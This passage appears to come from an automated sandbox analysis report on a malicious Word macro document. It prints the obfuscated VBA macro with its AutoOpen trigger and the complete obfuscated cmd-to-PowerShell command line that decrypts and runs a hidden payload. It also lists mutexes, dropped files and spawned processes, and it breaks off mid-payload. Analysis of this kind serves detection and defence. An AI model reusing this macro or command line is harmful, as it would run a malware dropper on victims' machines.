/ iUdqXzrV + 5050974 * RiSJOodXvhJTOO * (1400822 / UwsHYcJJlv / 3788747 - Tan(BnawZbhKXIqjaZ / CBool(mGOFPjzdudSXp / 4707671 / XTUfWI))))dzpLulEEWkV = HKumjzCLG = hwkXCXp = (865081 / DKfUGEr + 7264981 * lXLuDjf * (9158819 / TimuRoRk / 4734670 - Tan(BGzdQR / CBool(wbpoioLo / 5123815 / AmvAsGEWWbI))))dpJGfAk = gjHBjhbyuf(kvtdJGZLj, 11, 25)bbWqbSbJJ = "SmlfzfXlXfqjj%cEp^S^zFwAPhlpPdQnizo"fcfkRjSV = zawDEUjjU = NClzizYahkr = (1331390 / VPjwUb + 4518355 * QiWBzDLG * (3947267 / GAQHTfpbEYb / 2671225 - Tan(dsScnVW / CBool(IwQzUPw / 6452319 / MTNClGsOvEJsXw))))MIcYmhHOZ = qCTtJfaXl = SwDzJzPruHMIAN = (8475946 / ZOsQMXlzZuBW + 7841790 * VohOj * (7465046 / sEvoS / 9611288 - Tan(miBFBXF / CBool(fUlvNFa / 2914038 / tCrlXaliFihJwc))))InXrLQbYI = gjHBjhbyuf(bbWqbSbJJ, 16, 7)XPHfTP = "TbaQoYjzwCwWnQaMbHVkUYDziEMIdftDVqFWoShnd"kWMEMBfq = JVVntWawi = AEJAHqtoVjJ = (4473432 / XqIaMjDi + 4941923 * ZUqjOAk * (1863841 / WbifBKvI / 1102920 - Tan(XzomDzz / CBool(vNMizbtkjRKi / 7875512 / apAppKGPRbwX))))GZpckzMhf = BMkhmjROo = GsiHlRiiwbWmYz = (7247502 / Hmijwlj + 4948824 * hzzfbMawi * (6731329 / LiYoln / 5635332 - Tan(BPnkvZbfj / CBool(zVMEhD / 3436798 / zWOvquQcBY))))kJQbk = gjHBjhbyuf(XPHfTP, 5, 5)PTJPLcdqonj = "sKWNn V/ kQUlqz"smwXnkAVLtk = CNlHIqKaQ = caBlSu = (6304415 / JaSYSQZczESqUB + 4012308 * rNrELojILqsCQ * (269042 / kscPtsd / 9112090 - Tan(ijtGIZoaF / CBool(uFDcnVq / 1980548 / bYWLvth))))BJirSRMj = wsmbwOSWW = udAlCRwFHF = (6395548 / ptChQTwL + 4021763 * MabwoiNjmjGIbN * (1911824 / ZGaGooAiCs / 4782500 - Tan(zwZKKwQZ / CBool(FdSsbS / 166193 / hSpXou))))jKofwjNlE = gjHBjhbyuf(PTJPLcdqonj, 7, 21)uiZcrs = "kDkYzNHcdKUiHwpduGjwlLwoIiGhszUKziJOiFfMjq zYAimaj"bVtOMZUuzBi = rFLmlrEni = wuroZwoNq = (8241912 / uXrjznDV + 3631389 * hibMUJlj * (5816245 / lFBZIzPKEShEbA / 9398398 - Tan(TFoDARLDPLP / CBool(FnCiMrioWS / 4771533 / YtQzlcGbPmpjua))))oKwalV = wTuzJwjnE = QDrkSILA = (6204466 / fHALSnFoNSwVj + 7307960 * OtYIcNloAjhkW * (1777173 / aoADvr / 3639129 - Tan(fWrvZmSuUFr / CBool(PnrDd / 8830541 / AbkCifGr))))jwhPS = gjHBjhbyuf(uiZcrs, 6, 24)HNljdjwLo = "wwXFzzcMonZlqwjhYkaR c/ LEAMJ"kwYnIhjTMT = vnpIqIuVz = RccLVu = (7951360 / TdfaUZLnR + 5225322 * qoZRjzDo * (1401300 / AFAZomNbfc / 997439 - Tan(EvBXUSPzCrTEH / CBool(sLtNRFit / 3669722 / fBfmzLmwL))))RPFvacwunvi = zkiPLckYK = JmwSVuCiR = (2011388 / LLbdsTnczrEUsK + 6699508 * vhkhhYT * (1882610 / iiKsudUoMlYC / 7268340 - Tan(JzvKiERE / CBool(njHAhc / 3488817 / sSrJlckEOkff))))dnviYZlaFD = gjHBjhbyuf(HNljdjwLo, 6, 15)VziGLuPjjz = MsJPddN + jwhPS + kJQbk + nuujzXVPTqz + dpJGfAk + InXrLQbYI + jKofwjNlE + dnviYZlaFDYKLJNbklN = kFUdaWMnc = LuwfjuJXULFU = (3753669 / YjcUznGsjZHM + 4560419 * LFYRmwUlaib * (3038198 / DPaIQ / 7297380 - Tan(FqurqpjSNYY / CBool(WdMOmoiVS / 7553105 / wshiCc))))GRrapbVLh = awRBXBGEt = qBnUiQPRjv = (9767410 / GdqGHj + 9320901 * CrCFNlDQPHr * (7669279 / ILbTwJKaJoPi / 3406306 - Tan(oLRuZINYzwhHw / CBool(zCZDKVw / 3435031 / nLWmGtD))))mXvuPFwNS = fajMcmpMz = GOLXwsWvdj = (565143 / GfwLJLCzt + 755953 * lfuOFnA * (4170878 / ofmobA / 9796525 - Tan(tJUdP / CBool(UEQQcd / 2012897 / hCCZs))))End Function", File "bOZoJDmQi.bas" (Streampath: "Macros/VBA/bOZoJDmQi") has code: "Sub jwAPrmtHfWYiZU(GhRoHsczow) On Error Resume Next Dim JZYbU() ReDim fmArWrcK(2) NGJpzoFL(0) = 575443 VcaHEzMQr(1) = 5463778 jDCIwmUm = Loo - 7010483 odsiWozBLENVF = 9803903 * 7737006End SubFunction gjHBjhbyuf(ByVal ZzbnrCODBCS As String, wwTmqTMcXJzc, JWfzwYdiwmSu)On Error Resume NextFfwrJbliv = iCGjwClYS = jziciLNPfXG = (2618076 / DTtGXuaOCuwzTh + 3505836 * JToCZ * (3520940 / XDOjwMFKoREC / 2515579 - Tan(vNirRd / CBool(ldOdu / 2517980 / ERKYliWDI))))OiCwkHhOi = FwNFKLIok = ZzCBzjFWGfRi = (6771038 / EPNPjUdvzzpQJ + 9841920 * zQwukd * (1719629 / cDNikbi / 2542376 - Tan(NWAuzsHQI / CBool(ADMiaGPGPU / 7658354 / NvDlMSqsUQmSCm))))wMCXpiczI = IQUnXUUTs = OIErLjoaPKj = (3288017 / fnIDErfJWNnuV + 8366725 * SXzztjnitU * (8251802 / AENpZrWoAPQQb / 2596605 - Tan(suRwqpJHr / CBool(lXJsIOj / 2593180 / iFIYN)))) RaRmBVj = wCiDG + StrReverse(ZzbnrCODBCS) + WfKvjcYABrwiaHLwiiiJlMf = foUMwsBhC + RaRmBVj + jUjWEtrmfEkbPrzwYlK = MznIntYjl = lCYjvw = (8093711 / NXfJPLs + 7163975 * ZcNzT * (2949956 / qavLwdfKF / 6129768 - Tan(BLuTvJlLNiCkb / CBool(BpzGYHSm / 259930 / VAiOksVEjSqZJ))))FjDNIBsnp = UvuojDjYb = KDwuiWa = (4187368 / wBIZcf + 8797874 * UtJlIDffj * (3884010 / LSYKrbPFHmYrhf / 6748408 - Tan(oMVSImdLfRdB / CBool(SOvCi / 1926873 / arRwMamnwBbFZ))))OrTOBnZoM = iZzNFpYdo = VrOzu = (4524736 / iApPdq + 4639370 * lbujArkCNM * (8440716 / zVzPS / 2555428 - Tan(khzuYqwFY / CBool(zAiZlTNdznLkoB / 6987210 / XGNDa)))) ppiHKsb = QSotmjWqEmMDQM + Mid(iaHLwiiiJlMf, wwTmqTMcXJzc, JWfzwYdiwmSu) + aNBjmUZMztwJVTp = sVYzkQlrj = HGjZYlkYuwt = (2190687 / ocrFoAnW + 98932 * OtqfQbspV * (4050253 / fOpma / 1506507 - Tan(lbXwjAk / CBool(sLwqsKGkV / 6108094 / GTwBHXqSJOB))))SOtalZzRN = qutjjsicr = dUHsBtpZQ = (4721764 / ibIrsizSYhkDS + 8366929 * aNVOtOa * (7009979 / jLVrjvzjtXHT / 7044525 - Tan(oKjJSrtRoBpTb / CBool(BicHr / 4711404 / hMGmdiA))))gjHBjhbyuf = ppiHKsbJvjspVhDN = EHtrOWTBM = vhOuzcMj = (1342472 / aXpIsHtRziFXwR + 4536538 * zhvKt * (928905 / ImSvAkQdpa / 1147832 - Tan(hRkwHdCEiOXj / CBool(XziikwEVwjVZMs / 6416776 / AQzsiqiNjoj))))End FunctionSub AruPjwdkmwEdB(kkOYukUX) On Error Resume Next Dim zarRhRRvvQN() ReDim FmGqOPwu(2) MUqNF(0) = 9496252 KuvVdJzorjwTUD(1) = 1643269 nwfwHij = Loo - 4113443 cflGAEbTS = 7173812 * 261001End SubSub AutoOpen()On Error Resume NextUsrvoRwhT = cZwDGDQaw = bOazAdMiqcUAC = (3456340 / tvFjKp + 6874729 * BvDhhzznBVbJnt * (8979321 / RcjHEzcXjwNIL / 8149706 - Tan(AsPYBwwiitoS / CBool(aIUzANShGc / 8930458 / SfAkl))))ocLjbRXVs = uVzANPjzz = cOHzYGuQU = (4162058 / RvuzELHwzrw + 5799807 * TzkGOi * (4278790 / hcIXhfnaj / 260271 - Tan(zKcZD / CBool(JDZzw / 6336480 / kAiaWnCqzNk))))SlZXjUXSp = tizqXhDEa = VivcnhAMEszMAw = (8603081 / RdlXFb + 6241100 * mFCoDokzPCrBW * (1767545 / qjHTZqhiBzQP / 4837778 - Tan(DruCEqii / CBool(IPICwzE / 8356324 / IsvqzIHAFbBq))))mZLdMKzwR = SDLUwERok = wGjHjYMulvD = (7169414 / dVWpwY + 6952277 * HsSppjWwEqMU * (8970612 / kGSiF / 9887288 - Tan(LDNhwizc / CBool(UPAtpNN / 3408423 / oqwhFrQMYkPXR))))SkXvoEHtB = XVqVwTBPX = AnQITiwWQjJON = (8185810 / wPVtY + 1639503 * wnTbrj * (8911087 / KINVXiCcEQqirJ / 8332024 - Tan(HzSAEj / CBool(wkqocornO / 5438362 / YBBrTYun))))QdhaSpwLT = rQutimOkj = ZnMdbFXkqGPj = (8988894 / QPsQKX + 9958922 * dYvziauOnGm * (6683091 / ADAGUvEG / 874159 - Tan(LVocP / CBool(zaIpuJohdXzqb / 3728533 / tLlQLs))))Application.Run "zFGYQzFpKYzFO"
      SHzYRwHKqcvZYUkb = tziUqjita = OScwzOiluSJCM = (732925 / mkfuU + 7095966 * zCdzLGdc * (2809881 / LZwZitij / 8977252 - Tan(ZRRrlaUDwwwF / CBool(uVaSwC / 4659414 / RDrrmH))))bDqANZzuf = kmOlmZjPU = UCEIaj = (5860312 / fHNazwTsA + 1119273 * kfIzqqfkRliloW * (7251450 / EXuPUjDR / 7456153 - Tan(JmPRtYaR / CBool(ZLDNSuvNkzW / 4947329 / OfPVF))))qdBcrMYjt = UzsJLWmMH = JbUYW = (3575939 / QrEYkCXT + 6983264 * izUqolBbNsnK * (579861 / CXNMiVFf / 1905809 - Tan(whbUkzUqa / CBool(EOnLUpTzIZj / 1077194 / nWMoLpPhCnzt))))HKhqPYzjT = MnkCroCIW = qqsozXJJBLB = (381542 / pRNflGtBjV + 4034076 * jblTAMZjDG * (645148 / VjTFPvY / 3541043 - Tan(LuliIQB / CBool(iHUXNOvYpA / 9802786 / VYjNwJCnnl))))nzCQXjAos = wYCUwirIU = hZvZqonLX = (6297233 / OOpwUXUwrOXBIC + 672742 * DlfGBhPF * (2390232 / YLcjVcHtiJMXd / 2127173 - Tan(McIJYmWnV / CBool(asazjzkkcwJ / 3901106 / tvtPUu))))GjHUjoEGv = oFCYGzvkh = BKcnBMNsVPOiXC = (8702968 / DSXqIbs + 7765599 * WwkNHwKMTSjdtF * (1556379 / wjrhKizfr / 9349546 - Tan(MrnaRoriPc / CBool(NRDREjJlKM / 2985742 / LsBHlowF))))WLVzVfsSp = CbstSWads = PVGmPzXbhP = (6349087 / pSWIB + 9061378 * wYrqvI * (7178093 / ZtVbdtLhj / 3059376 - Tan(GAzDKCIwm / CBool(XKUfWvEYf / 2040423 / iaziMoDLil))))mscoGwVhn = mLzzCiAwH = GJEFucZAUzOFlI = (7767947 / RsqQwjqrXSi + 5595608 * AMswMXciniLjw * (87401 / ZhZrISQIFqC / 4405261 - Tan(NhbzwFUl / CBool(JYkMCiKik / 9587127 / HRqtnUcjDmF))))KAKUFGOjs = fzEYAGwQl = bFEnKwriJcdlhi = (697886 / jChZDQA + 964031 * JMSsh * (4508036 / zFLzGMz / 4700877 - Tan(XEHPuPV / CBool(mWujMuKF / 9868175 / BjZqcFRobWD))))End SubSub WCILjL(pJtqzFKcclLBu) On Error Resume Next Dim czoohc() ReDim zGowQ(2) zraAOzLJbH(0) = 8565218 kRcoCQVIBu(1) = 956827 XwjrrDFr = Loo - 6348268 KlCkzBjzBq = 9309066 * 2445692End Sub"
      source
      Static Parser
      relevance
      10/10
    • Creates a writable file in a temporary directory
      details
      "WINWORD.EXE" created file "%TEMP%\~DFCFE796D0F05200A2.TMP"
      source
      API Call
      relevance
      1/10
    • Creates mutants
      details
      "\Sessions\1\BaseNamedObjects\Local\x64_10MU_ACBPIDS_S-1-5-5-0-55183"
      "\Sessions\1\BaseNamedObjects\Local\x64_10MU_ACB10_S-1-5-5-0-55183"
      "\Sessions\1\BaseNamedObjects\Global\552FFA80-3393-423d-8671-7BA046BB5906"
      "\Sessions\1\BaseNamedObjects\Local\ZonesCacheCounterMutex"
      "\Sessions\1\BaseNamedObjects\Local\ZonesLockedCacheCounterMutex"
      "\Sessions\1\BaseNamedObjects\Global\MTX_MSO_Formal1_S-1-5-21-686412048-2446563785-1323799475-1001"
      "\Sessions\1\BaseNamedObjects\Global\MTX_MSO_AdHoc1_S-1-5-21-686412048-2446563785-1323799475-1001"
      "Global\MTX_MSO_Formal1_S-1-5-21-686412048-2446563785-1323799475-1001"
      "Global\MTX_MSO_AdHoc1_S-1-5-21-686412048-2446563785-1323799475-1001"
      "Local\x64_10MU_ACB10_S-1-5-5-0-55183"
      "Local\x64_10MU_ACBPIDS_S-1-5-5-0-55183"
      source
      Created Mutant
      relevance
      3/10
    • Drops files marked as clean
      details
      Antivirus vendors marked dropped file "~$9168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc" as clean (type is "data")
      source
      Binary File
      relevance
      10/10
    • Loads rich edit control libraries
      details
      "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\Microsoft Shared\OFFICE14\RICHED20.DLL" at F1410000
      source
      Loaded Module
    • Loads the .NET runtime environment
      details
      "powershell.exe" loaded module "%WINDIR%\assembly\NativeImages_v2.0.50727_64\mscorlib\0478aed7fc25ae268474c704fd2a3e0f\mscorlib.ni.dll" at E1720000
      source
      Loaded Module
    • Process launched with changed environment
      details
      Process "cmd.exe" (Show Process) was launched with new environment variables: "WecVersionForRosebud.E08="4""
      Process "cmd.exe" (Show Process) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles"
      Process "cmd.exe" (Show Process) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432"
      Process "powershell.exe" (Show Process) was launched with new environment variables: "%PnudkPBnvRAjVPb%="DdvUuuz", %var5%="he", %var1%="p", %var7%="p", %var8%="ow", %var2%="ow", %ArQWcsLIfSRKwwT%="DWcTblEVs", %sdJUjBQbairSAth%="hrFapszPTzlTFB", %var3%="er", %btHkJMzDjjiWVZK%="WYrzozjmBIwYc", %var6%="ll", %var4%="s""
      Process "195082.exe" (Show Process) was launched with modified environment variables: "PSModulePath"
      Process "195082.exe" (Show Process) was launched with new environment variables: "PROCESSOR_ARCHITEW6432="AMD64""
      Process "195082.exe" (Show Process) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, CommonProgramFiles, ProgramFiles"
      source
      Monitored Target
      relevance
      10/10
    • Runs shell commands
      details
      "cmd jTEAdZpiDaiYz qjMfFiOJizKUzshGiIowLoWFqV KkWYSZzkWIXn & %C^om^S^pEc% %C^om^S^pEc% /V /c set %btHkJMzDjjiWVZK%=WYrzozjmBIwYc&&set %var1%=p&&set %var2%=ow&&set %ArQWcsLIfSRKwwT%=DWcTblEVs&&set %var7%=!%var1%!&&set %sdJUjBQbairSAth%=hrFapszPTzlTFB&&set %var3%=er&&set %var8%=!%var2%!&&set %var4%=s&&set %PnudkPBnvRAjVPb%=DdvUuuz&&set %var5%=he&&set %var6%=ll&&!%var7%!!%var8%!!%var3%!!%var4%!!%var5%!!%var6%! "iEX(( [RuNTime.InteropsErviCEs.maRsHaL]::PTrTOsTRinGAUto( [rUNtImE.iNTERoPSERVIceS.marsHAL]::SecUReStriNGTOBSTR($('76492d1116743f0423413b16050a5345MgB8AGUAQgBpAFgAawBzAGMATgBrAEgAQgBiAE4AUAB2AFUATgBPAHkAMQBuAGcAPQA9AHwAZABhAGQAMgA1ADUAMwBjAGIAMwA0ADEANABlAGQAZQA4ADEAZAA3ADIAMAA3ADYAYgA5ADcAZQA5ADgAYgA4ADMAMgAwAGEANABiAGIAZQBiADgAOAA3AGQAMgAyAGUAOQA4AGEAZABlADcAYQBlADQAYQA5AGYAZABlADQAMwBhAGYAMgAyADcANgAxADAAYgA5ADcAYgA1ADIAOQBmAGQAZQA3ADIAZABiADAAYwA5ADkAOABiAGQAMQBlADEAMgBmADkANABjADkAMgAxADAAOAA1ADkAMwBjADcAZgBlAGIAZAA4AGMAZgA2AGQAZQBiAGMANwBmADYANQA0ADIANgBmAGIANwA2ADYAZAAyADkAMQAwADUAZQA0ADMAMgA1AGIAOQBiAGEAYgA4ADgANgA3ADQAMAAzADYAYgA3AGEANwA3ADUANQA5AGUANwAxAGIAMQAyAGMAMAA0AGMAZgA4AGMANAA0AGMAYQA5ADYAYwA5AGYANQAzADMAMAA3ADQAMAA5AGMAMgA1ADUAMQAxAGEAYgA0ADIAZQBjADQAZAAzAGUAOQAxAGUANABmADYAMgA2AGIANgBmADAAMQAwADMANgA3ADkAMAAzADMAZQA5ADgANgA1AGUAMABkADQANQA3AGQANAAzADMANABmAGQAOQA1AGQAOABiADgANQBiADAAZABiAGIAMQA5ADcAOAA4ADAAZQA4AGYAMAA4ADcAMgA2ADQAOQBiAGMAYQAwADQAZQAxADkAYwBiAGYANgA4ADEANQBiADMAMgAxADkAZQBiADQAZAAxADUAOQA5AGIANgA1AGYAMwBhAGIAZgA3ADgANQBiAGEAMQAzADMAYwA0ADkANwA1ADIAOAAzADkAZQBiADAAMwAwAGQAMQA4ADEAOABlADUANgAxADAAMgA2ADAAMgAwADcANQAwADYAZgBiAGQAMQBjADcANABiAGMAOAA4ADIANwAyAGUAZAA4AGUAMwA0AGQANAAxADEAMAA2ADcAMQA3ADAAMQBkADIANAAyADEANgAzAGIAMwA1ADMAZAA4ADMANABmAGQAMQBiAGIANwBmAGQAMgAzADUAMgA4AGEANwA1ADIAZgA2ADYAYwA3ADAAOAA4AGUANwA0ADcANwBjADUAMgBlAGUAZQBhADkANwA3ADcAZQBjAGUAMAA1ADYAMQBkAGYAMABmAGMAYwBhADYAMwA2ADkAOQBlADQANQBmAGMAZAAwADMAOABjAGEAMgAzADcANQAyADQAYQA3AGIAYQA4AGUAYgA5AGIANgBlADgAZABiAGYANwA2ADYANQAyAGYANQBmAGEAZgBmAGUAMwA4ADkAYwA4ADEAZQA0AGIAMQBjADgAOAA3ADYANgBiADEANABhADYAOAA4AGUAOABjADYAOAAzAGEANwA2ADAAMQBjADEAOABjADkAOQAyAGUAYwA0ADMAOQA4ADAAMAAwAGYAOABmADYAMQA4ADgAMAA5AGMAMgAxADMANgBmADAANwBmAGUANQAzAGEAYgA3ADEAYQBlAGYAZgA0ADEAMAAwADMANgA0ADMAOQAzADMAYQA0ADkANwBmADAAMABlAGUAMQBmADAANgAyADgANAA0ADUAOQBiADQAYQA1ADkANABiAGUAZAA1AGYAOQA3ADEANAA1AGYAYQBkADYAMABkAGIAMwBhAGEAMgA3AGMAZAA1ADUAOQA3ADAAMwAwAGIAOQA3ADkAMAAxADkAZAAxADgANwBlADAAOQBlADkAOQBmADMAZAA0ADUAOQA3ADQAMAA3AGMAYwA4ADIANgA5ADAAMgBmADgAYQAxAGEANgA2AGYAMwAzADAAZQAyAGYAMQBiADIANQA2ADIANQBmAGEAZABiADQAMAA5AGUAOQA1AGEAYgBhADAAOAAyADYANgAyAGEAZQBkAGUAZgBhADYAYQBkADAAMQAyADIANgAzAGEAZABiAGUANgAyADkAYgA3ADIAZAAzAGYAMwAyADAAMwBjAGMAYQBmAGYAMgBmAGUAMQBmAGUAMAA2AGMAZABlAGUAZgBkAGQANgAxAGIAMwAyADYANQA0ADgAOAA3ADEANgAwAGIANABhAGMANABkADEAZgBlAGIANABiAGYAMABkADAAOQBhADcAMABlAGQAYgAyAGQAMAAwAGIAOQAxADcAMgBlAGIANQAxADcAOAAyADQANQA4ADMAYgA5AGIAZAA4ADAAMgBiADgAYwBhAGYAMgAxADYAMQA4ADkAYwA5ADEANwBhADEANgA2ADcAYgBjADUAOAAxADUAYQBkAGMAYwAyADgAZQAxAGUAZQBiADQANgBhADUANABlAGQAYwA1ADMAZgA1ADcANAA1ADEAMQA1AGUAZgAyAGQAYgAzADUANgBmADUAYgAxADYANwAxADcANQA2AGIAMgA5AGYAMwA5ADQAMABmADkANgA1ADgAZQA4ADcAMgBkADMAYgAzAGUAOABiADUAOQBiADMAYgAzADMAYgBjADMAYgBjADMAYQAzAGQAOQA4ADUAOAA4ADgAMAAzADYAYwAyADUANgA3ADcAYQA3AGEANgAzAGUAMQBhADAAZABhAGMAZQBjAGYANQA5ADUAYwA0AGQAYQAyADEAZABiAGMAMQBiADcAMwA3ADYAYwAyADIANAA5AGEAMQAzAGYAZgAzADYANAA2AGIAMgBjAGYAZQBlADkAMQA3ADcAYwBmADgAZQA1ADIAYgA3ADQAZAA2ADgANQA4ADAAMwAxADMAYwBjADAAOQAxADAAOQAwAGMANwAxADkAOQA2ADkAMgBlAGMAZgA3AGMAMgBmADcANwA3ADYAOQAxADAAMAAzADkAMwAzADkAZgA1AGUAYgBkADUAOQA1ADAAYgA1ADQAOAA2AGQAMABhADMANAA3ADMANQA0ADAANwA0ADIANwAxADkAMgA1AGUANABhAGMAYgAyADQAYgA1AGIAYQAzADcAZgA1ADIAOABkAGIAYgA0ADEAOAA3AGUAZgBmAGYAYgAyADQAYwA0ADUAZQBjADgAYwA0ADUAOABjADcAYwBkADMAZgA5ADcAZgBlADcANAAyADIAZgA4AGQANQA4AGUAOQBhADIAOAA0ADgANgA0ADIAMQA2AGQAYwAwAGIAMwA0AGQAZgBlAGUAYwBlAGUAYQAyAGQAZQA2ADUAZgA1ADcANAAyAGUANwAwADYANgA5ADYANwBkAGMAZAAzAGYANQBjADUAMABhADMAMQBkADYAMwAyADMAYwBiADAAMQBiAGYAYgA3ADMAYQA2AGMANAA1AGEAMQAyADgANQA5AGUAMQA4ADYAOABlADkAYwA1ADMAMwA2ADIAMQA1ADIAYwAxAGYAZQA2ADYAZABlAGEAMAA1AGEAYgAzAGUAZAA3AGYAYgBkAGIANAAwAGYAZABmAGMAZAAzADgAYgAxADEAMgA4AGIAYwA1ADMAMgA5AGQANQAyAGUAMQA2ADAAMwA3AGQAMgBmAGYAOABiAGIAYQA2ADcAMwAzADAAZAAxADEAZgAxADgAOQBhAGIAZgBlADkAYwAwADIAMQA2ADcAMgA5ADkANQBhADcAYgA4ADUAZABhADkAMAA4ADkAOQA0ADUAOQBmADcAMgA3ADMAYwAzADIANQBiADMAZABlAGQANAA5ADgAMABmAGYAZQBiAGYANwAzAGUAZABhAGMAMgA1AGEAYgA1ADMAOAA1ADUAYwAyAGIAMwA3ADIANwA5ADEANAA1ADIAOAAyAGYAOAA5ADgAMQBhADEAYgAzADMANQBmADAAOQAwADMAZgAxAGIAZAA2ADQAYQA4ADIANQBkADMAZgBlADgAZgBlADQANAA4ADMAZQAyADQAMQA1ADIAYQBiAGMANgA4ADQAYwBhADkAZABmADEAOAAxADEAYwAzADQAMgA4ADcAOAAwADAAOAA1ADQAMAA2ADEAYQBjAGUAYwBjADMAZgA2ADkANQA2ADIAYQBlADIAZAAwADMANQA0ADYAYwA3ADIAMwA1AGYANABhADYAOQBmADIAYQBhADUAMgBiADgAZABmADgAYQA2ADQAMwAxAGQAMAA3ADYAMgAxADEAYgBiADUAYQA1AGYAOAAzADQANwAwADUAZgBiAGYANQBhADEAMABlADIAYwBmADEAMwA2ADAANQAxADAAMQBmAGQAZAAxADYANwBiADIAMQBlADIAYQAyAGIAYQBiAGIAMAA2ADIAYgA1ADIANwBmAGUAYgA4ADkANgA4ADEAYgBkAGQANAAxADMAMABhAGMAOABiAGYAMwAxAGMAZQBiADkAMgBhADEAOQBhADAAZQBmAGMAOQA2AGEAZgAwAGYANQBkAGMAYQA0AGYANgAwAGMAYgA0AGMAMwBlAGIANwBmADQAMAA2ADAANgBlADYAOQBjADUAYQA2ADgAMgA5ADUAYwBmADAAYwA5ADIAYwA0ADcAYwA4ADYAOQBlADEAMgAxAGEAZAAxAGQANwA4AGQAYgAwAGIAMwBkADQAYgA3ADUAZAAwADcAYQA3ADAAYQAyADYAOAA5AGMAYgBiAGYAMwA2AGUAYwAzADIAZQA2ADIAMgA3AGQAYwAyAGEAOQAyADcANwAyADUAYQA5ADkAYwBkADgANgBlADEANAA3ADUAYQA4ADgAYQA4AGUAMgBiAGMAOABkAGUAZQAzADUAMgAzADEANwA1ADAAOABmADcAMQAwAGUAZgA3AGMAMgA2AGYAYgA5AGQAOAA2ADkAMQBjAGMAZAAyADIAMgBiADcAMAAzADMANQA4ADgAOABkAGMAOAAxADQAZABhADQANQA3ADAAZgBhADkANwAzAGUAMQA3AGEANAAzADgAOQA0ADUAMgAwAGUAOQBhADAANwA1AGYAMAAzADcAMABjAGUAMgBjADcAMQBmADUAMwBhADIAZgAwAGYAOABiAGIAMABlAGIAYgBjADMAOQBlADQANwA3AGEAZgA2AGQAMQA3AGUAZQBmADQAYQA1AGMAMQBkADcAYgA4ADEANwAwADIANgAyAGMANwA0AGEAYgAyADIAYgBkADYAZQBlADAAYQA2ADEAZgA5AGMANQA3AGMAMgBlADQANAA2ADkAOAAxADgANgBlADAAMgAwADgAOQA0ADEAOQBhADYAMQA2AA==' |ConVerTTO-secuREStrING -KEy (146..169)) ))))" on 2018-2-28.11:17:29.463
      source
      Monitored Target
      relevance
      5/10
    • Scanning for window names
      details
      "WINWORD.EXE" searching for class "REListbox20W"
      "WINWORD.EXE" searching for class "OfficeTooltip"
      "WINWORD.EXE" searching for class "MsoCommandBarPopup"
      "WINWORD.EXE" searching for class "mspim_wnd32"
      "WINWORD.EXE" searching for class "NetUICtrlNotifySink"
      source
      API Call
      relevance
      10/10
    • Spawns new processes
      details
      Spawned process "cmd.exe" with commandline "cmd jTEAdZpiDaiYz qjMfFiOJizKUzshGiIowLoWFqV KkWYSZzkWIXn & %C^om^S^pEc% %C^om^S^pEc% /V /c set %btHkJMzDjjiWVZK%=WYrzozjmBIwYc&&set %var1%=p&&set %var2%=ow&&set %ArQWcsLIfSRKwwT%=DWcTblEVs&&set %var7%=!%var1%!&&set %sdJUjBQbairSAth%=hrFapszPTzlTFB&&set %var3%=er&&set %var8%=!%var2%!&&set %var4%=s&&set %PnudkPBnvRAjVPb%=DdvUuuz&&set %var5%=he&&set %var6%=ll&&!%var7%!!%var8%!!%var3%!!%var4%!!%var5%!!%var6%! "iEX(( [RuNTime.InteropsErviCEs.maRsHaL]::PTrTOsTRinGAUto( [rUNtImE.iNTERoPSERVIceS.marsHAL]::SecUReStriNGTOBSTR($('76492d1116743f0423413b16050a5345MgB8AGUAQgBpAFgAawBzAGMATgBrAEgAQgBiAE4AUAB2AFUATgBPAHkAMQBuAGcAPQA9AHwAZABhAGQAMgA1ADUAMwBjAGIAMwA0ADEANABlAGQAZQA4ADEAZAA3ADIAMAA3ADYAYgA5ADcAZQA5ADgAYgA4ADMAMgAwAGEANABiAGIAZQBiADgAOAA3AGQAMgAyAGUAOQA4AGEAZABlADcAYQBlADQAYQA5AGYAZABlADQAMwBhAGYAMgAyADcANgAxADAAYgA5ADcAYgA1ADIAOQBmAGQAZQA3ADIAZABiADAAYwA5ADkAOABiAGQAMQBlADEAMgBmADkANABjADkAMgAxADAAOAA1ADkAMwBjADcAZgBlAGIAZAA4AGMAZgA2AGQAZQBiAGMANwBmADYANQA0ADIANgBmAGIANwA2ADYAZAAyADkAMQAwADUAZQA0ADMAMgA1AGIAOQBiAGEAYgA4ADgANgA3ADQAMAAzADYAYgA3AGEANwA3ADUANQA5AGUANwAxAGIAMQAyAGMAMAA0AGMAZgA4AGMANAA0AGMAYQA5ADYAYwA5AGYANQAzADMAMAA3ADQAMAA5AGMAMgA1ADUAMQAxAGEAYgA0ADIAZQBjADQAZAAzAGUAOQAxAGUANABmADYAMgA2AGIANgBmADAAMQAwADMANgA3ADkAMAAzADMAZQA5ADgANgA1AGUAMABkADQANQA3AGQANAAzADMANABmAGQAOQA1AGQAOABiADgANQBiADAAZABiAGIAMQA5ADcAOAA4ADAAZQA4AGYAMAA4ADcAMgA2ADQAOQBiAGMAYQAwADQAZQAxADkAYwBiAGYANgA4ADEANQBiADMAMgAxADkAZQBiADQAZAAxADUAOQA5AGIANgA1AGYAMwBhAGIAZgA3ADgANQBiAGEAMQAzADMAYwA0ADkANwA1ADIAOAAzADkAZQBiADAAMwAwAGQAMQA4ADEAOABlADUANgAxADAAMgA2ADAAMgAwADcANQAwADYAZgBiAGQAMQBjADcANABiAGMAOAA4ADIANwAyAGUAZAA4AGUAMwA0AGQANAAxADEAMAA2ADcAMQA3ADAAMQBkADIANAAyADEANgAzAGIAMwA1ADMAZAA4ADMANABmAGQAMQBiAGIANwBmAGQAMgAzADUAMgA4AGEANwA1ADIAZgA2ADYAYwA3ADAAOAA4AGUANwA0ADcANwBjADUAMgBlAGUAZQBhADkANwA3ADcAZQBjAGUAMAA1ADYAMQBkAGYAMABmAGMAYwBhADYAMwA2ADkAOQBlADQANQBmAGMAZAAwADMAOABjAGEAMgAzADcANQAyADQAYQA3AGIAYQA4AGUAYgA5AGIANgBlADgAZABiAGYANwA2ADYANQAyAGYANQBmAGEAZgBmAGUAMwA4ADkAYwA4ADEAZQA0AGIAMQBjADgAOAA3ADYANgBiADEANABhADYAOAA4AGUAOABjADYAOAAzAGEANwA2ADAAMQBjADEAOABjADkAOQAyAGUAYwA0ADMAOQA4ADAAMAAwAGYAOABmADYAMQA4ADgAMAA5AGMAMgAxADMANgBm